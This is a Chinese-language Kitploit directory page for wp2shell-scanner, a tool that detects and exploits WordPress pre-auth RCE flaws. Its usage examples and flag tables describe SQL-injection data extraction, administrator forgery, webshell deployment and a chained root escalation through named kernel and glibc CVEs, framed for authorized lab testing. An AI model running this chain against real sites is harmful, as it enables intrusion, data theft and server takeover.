Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wp2shell-scanner — CVE-2026-63030 / CVE-2026-60137 - WordPress 未认证 RCE 扫描器 | Kitploit
工具/GitHubGitHub/bahartanir/wp2shell-scanner
权限提升漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发实验室与实践
GitHubbahartanir/wp2shell-scanner

wp2shell-scanner

CVE-2026-63030 / CVE-2026-60137 - WordPress 未认证 RCE 扫描器

查看仓库
82131个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

wp2shell-scanner

由 @bahartanir (katherinepierce) 编写 基于 ZephrFish/wp2shell-scanner 的分支,并包含额外改进。 研究贡献:Adam Kues (Assetnote) 与 Mustafa Can İPEKÇİ (nukedx)。

用于检测和验证 WordPress 核心是否暴露于 wp2shell(CVE-2026-63030 / CVE-2026-60137)的工具。通过标志选择模式,目标为位置参数。--scan 对核心版本进行指纹识别,并确认 REST /batch/v1 路由可达,不发送利用载荷;--check/--read/--shell/--rce/--root-prereq 模式是用于授权实验室用途的验证 PoC。

wp2shell.py 是一个仅使用标准库的单一脚本——无外部依赖。每次调用都会在运行前将横幅打印到 stderr(它保持不在 stdout 输出,因此 --scan -j 的 JSON 输出不受影响)。

命令行标志

必须且只能指定一个模式标志;目标为位置参数(所有模式均使用 URL,--scan 可使用主机列表)。

用法概要

root@kitploit:~
wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

模式标志(选择一个)

选项标志

深度分析原文:https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Nuclei 模板

root@kitploit:~
nuclei -t wp2shell-exposure.yaml -u https://target

扫描(非破坏性)

单个主机、多个主机或一个文件。

root@kitploit:~
python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

选项:-f/--file 主机文件(每行一个)、-j/--json JSON 输出、-t/--threads 并发数(默认 10)。

验证 PoC

--check/--read/--shell/--rce/--root-prereq 模式会发送真实利用载荷。只能在附带的 localhost 实验室或你拥有并明确授权测试的其他系统上运行。--shell 和 --rce 执行远程代码执行,仅面向实验室/已授权目标;对非回环主机使用 --rce 时必须带 --authorized。--root-prereq 使用同一套受令牌保护的诊断插件来检查 shell 到 root 的前置条件,但不会执行本地权限提升。

--shell 需要已恢复/破解的管理员密码。--rce 是无凭据的预认证链条:它通过 SQLi(oEmbed → changeset → 可重入 parse_request)伪造自己的管理员身份,然后部署 webshell——无需密码。

--shell、--rce 和 --root-prereq 在发送任何代码执行载荷之前,都会提示交互式 y/N 授权(如果 stdin 非交互/EOF 则中止)。针对实验室或已授权目标进行自动化时,可传递 -y/--yes 跳过提示。

root@kitploit:~
docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

用于支撑 PoC 的补丁差异保存在 poc/diffs/ 下,研究笔记见 poc/RESEARCH.md。SQLi 完全可通过 author__not_in 修复重构。无凭据 --rce 链(oEmbed → changeset → 重入 → 创建管理员)可在附带的实验室上复现默认配置下的 RCE;--shell 则是通过恢复/破解的管理员凭据进行认证插件上传和命令执行的替代路径。

本地权限提升(--lpe)

--lpe 将完整的预认证 RCE(SQLi → 伪造管理员 → webshell)与自动化的 root 提权尝试串联起来。它按以下顺序尝试,并在首次成功时停止:

root@kitploit:~
python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

--lpe 对非回环目标执行时需要 --authorized。在附带的实验室(Ubuntu 22.04 基础镜像 + 易受攻击的 GameOverlay 内核)上,CVE-2023-2640/32629 无需编译器即可成功。

下载工具
标志作用
--scan非破坏性暴露检测:版本指纹识别 + 确认 REST /batch/v1 路由可达。不发送利用载荷。
--check通过无害的差分探测确认基于时间的盲 SQL 注入。
--read通过盲 SQL 注入提取数据(使用预设或原始 SQL 标量表达式)。
--shell使用破解/恢复的管理员密码进行认证 RCE 链。
--rce无凭据的预认证 RCE:通过 SQLi 伪造自身管理员身份,然后部署自清理 webshell。
--root-prereq良性的 shell 到 root 前置条件检查;仅运行诊断,绝不执行本地权限提升。
--lpe完整链条:预认证 SQLi → 伪造管理员 → webshell → root。依次尝试 CVE-2023-2640/32629 (GameOverlay overlayfs)、CVE-2023-4911 (Looney Tunables glibc)、CVE-2026-31431 (AF_ALG Copy Fail)、CVE-2026-23111 (nf_tables UAF 探测),然后回退到 SUID/sudo/cap。
标志适用模式作用
-f, --file--scan从文件读取主机(每行一个;跳过 # 注释)。
-j, --json--scan将结果以 JSON 形式输出到 stdout。
-t, --threads--scan扫描并发数(默认 10)。
--prefix--check/--read数据库表前缀(默认 wp_)。
--delay--check/--read为时间盲注 oracle 注入的 SLEEP 秒数(默认 0.15)。
--repeats--check/--read每个 bit 取 N 次探测的中位数;在高噪声链路上可调高(默认 1)。
--preset--read内置目标:version、database、db_user、users、siteurl(默认 users)。
--expr--read要提取的原始 SQL 标量表达式(覆盖 --preset)。
--max-len--read提取字符串的最大长度(默认 128)。
--user--shell/--root-prereq要登录的管理员用户名(默认 admin)。
--password--shell/--root-prereq管理员明文密码(从 --read 结果中破解哈希;这些模式必需)。
--cmd--shell/--rce在目标上执行的命令(默认 id)。
-i, --interactive--shell/--rce交互式 Web 命令循环,而非执行单条命令。
--no-cleanup--shell/--rce保留已投放的插件/webshell(仅限实验室)。
-y, --yes--shell/--rce/--root-prereq跳过交互式授权提示(用于自动化)。
--sleep--rce为预认证 SQLi 检测注入的 SLEEP 秒数(默认 4)。
--rounds--rce--rce 检测取 N 次探测的中位数(默认 3)。
--route--rce批量路由形式:auto、rest-route 或 wp-json(默认 auto)。
--proxy--rce通过 HTTP 代理路由请求,例如位于 http://127.0.0.1:8080 的 Burp。
--authorized--rce对非回环地址的 --rce 目标声明已获授权(远程主机必需)。
--timeout全部每个请求的超时秒数(默认 15)。
CVE影响范围技术编译器
CVE-2023-2640 / CVE-2023-32629Ubuntu 22.04 / 23.04,内核 < 6.3.3 且带 GameOverlay 驱动在用户命名空间中进行非特权 overlayfs 挂载,在上层目录上保留 chmod +s无(纯 shell)
CVE-2023-4911glibc 2.34–2.38(Ubuntu 22.04、Debian 12、Fedora 37–38)_dl_parse_tunables() 中的 GLIBC_TUNABLES 栈溢出 → 在 SUID 执行时注入 LD_PRELOAD需要 gcc
CVE-2026-31431带 algif_aead + authencesn(hmac(sha256),cbc(aes)) 的 Linux 内核AF_ALG AEAD 原地优化 + splice() 向 SUID 二进制页缓存写入 4 字节;前置条件探测——链接至 AliHzSec/CVE-2026-31431需要 gcc
CVE-2026-23111Ubuntu 22.04 / 24.04、Debian Bookworm / Trixienft_map_catchall_activate() 中的 nf_tables 反转检查 UAF → chain->use 下溢 → 已释放链;前置条件探测——链接至 Baba01hacker666/CVE-2026-23111需要 gcc
回退任意SUID GTFOBins + sudo NOPASSWD 滥用无